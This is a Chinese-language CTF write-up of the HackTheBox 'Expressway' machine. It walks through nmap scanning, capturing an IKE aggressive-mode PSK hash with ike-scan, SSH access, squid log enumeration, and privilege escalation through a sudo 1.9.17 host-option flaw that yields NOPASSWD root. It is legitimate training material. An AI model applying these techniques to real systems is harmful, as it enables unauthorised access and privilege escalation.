跳过正文

HTB-Expressway

·418 字·2 分钟
HTB-Machine Hackthebox Linux
HYH
作者
HYH
一名专注于网络安全、渗透测试与 CTF 挑战的技术爱好者,热衷于记录实战经验、分享工具与技术,致力于持续学习与成长。
目录

Nmap
#

[root@Hacking] /home/kali/expressway  
❯ nmap expressway.htb -A
 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

看起来tcp端口只开放了22的ssh服务,接下来扫描一下udp端口

[root@Hacking] /home/kali/expressway  
❯ nmap expressway.htb -sU --top-ports 100                                                        

PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
500/udp  open          isakmp
4500/udp open|filtered nat-t-ike

其中500端口isakmp服务,可以参考hacktricks的介绍

What Is ISAKMP ?
#

  • 这是 IPsec VPN(虚拟专用网络)关键端口,用于建立安全隧道的第一步:协商加密算法、认证方式、密钥交换。
  • IKE 在 ISAKMP 框架下工作,分阶段建立安全关联(SA):
    • Phase 1:建立 IKE 安全通道(PSK 预共享密钥或证书认证,Main/Aggressive Mode)。
    • Phase 1.5:可选扩展认证(XAuth,用户名+密码)。
    • Phase 2:协商 ESP/AH 加密参数,生成数据传输的密钥(支持 Perfect Forward Secrecy)。
  • 常见配套端口
    • 4500/udp → NAT-T (NAT Traversal),穿越 NAT 的 IKE/ESP 通道。

ike-scan
#

[root@Hacking] /home/kali/expressway  
❯ ike-scan -M expressway.htb
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Main Mode Handshake returned
        HDR=(CKY-R=aad8df0209c6ca2b)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
  • 服务确认:目标 expressway.htb 正在运行 IKE (UDP/500) 并接受你的提议。
  • 加密套件
    • Enc=3DES:三重 DES 加密
    • Hash=SHA1:完整性校验
    • Group=2(modp1024):DH 组 2(1024 位,较弱)
    • Auth=PSK:使用预共享密钥 (Pre-Shared Key)
    • LifeDuration=28800 秒(密钥有效期约 8 小时)
  • 扩展功能
    • VID=09002689dfd6b712 (XAUTH) → 支持 XAuth 用户名/密码扩展认证。
    • Dead Peer Detection → 用于检测 VPN 对端是否存活。

Bruteforcing-ID
#

接下来使用暴力破解,发现存在用户ike

[root@Hacking] /home/kali/expressway  
❯ ike-scan -P -M -A -n fakeID expressway.htb                                                                                                  ⏎
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Aggressive Mode Handshake returned
        HDR=(CKY-R=ca95cb3e3af2d7ef)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
68e23758b679b05604e5a16c5c425afc128d8488b7b8e1d4271940cb758ceaf8ec70f3ee4c351c9fa4fc608bea66c1e349887915510b5fa5801ba2d0ea1b04c34f90d71a110282c920a087b5bac426fcf2c256b474ead1519ae7be49f6bb34a459<skip>
Ending ike-scan 1.9.6: 1 hosts scanned in 0.079 seconds (12.59 hosts/sec).  1 returned handshake; 0 returned notify

拿到哈希进行破解PSK

User
#

ssh连接拿到user

Root
#

查看当前用户的所属组,发现了proxy组,然后查找拥有的目录

ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
ike@expressway:~$ find / -group proxy -type d 2>/dev/null
/run/squid
/var/spool/squid
/var/log/squid

在其中一个文件中发现了一个子域名offramp.expressway.htb

ike@expressway:/var/log/squid$ ls -al
total 28
drwxr-xr-x  2 proxy proxy 4096 Sep 16 16:02 .
drwxr-xr-x 12 root  root  4096 Sep 21 02:55 ..
-rw-r-----  1 proxy proxy 4778 Jul 23 01:19 access.log.1
-rw-r-----  1 proxy proxy   20 Jul 22 19:32 access.log.2.gz
-rw-r-----  1 proxy proxy 2192 Jul 23 01:47 cache.log.1
-rw-r-----  1 proxy proxy  941 Jul 23 01:47 cache.log.2.gz
ike@expressway:/var/log/squid$ cat access.log.1 | grep htb
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html

同时注意到,sudo的位置很不寻常,通常来说都是在/usr/bin目录下

那么这里可以检查一下版本信息,发现是1.9.17

ike@expressway:~$ sudo -V
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17

搜索一下,找到一个漏洞

简单来说就是指定主机名,就是刚才上面那个offramp.expressway.htb

ike@expressway:~$ sudo -h offramp.expressway.htb -l
Matching Defaults entries for ike on offramp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ike may run the following commands on offramp:
    (root) NOPASSWD: ALL
    (root) NOPASSWD: ALL

可以看到畅通无阻了

Reply by Email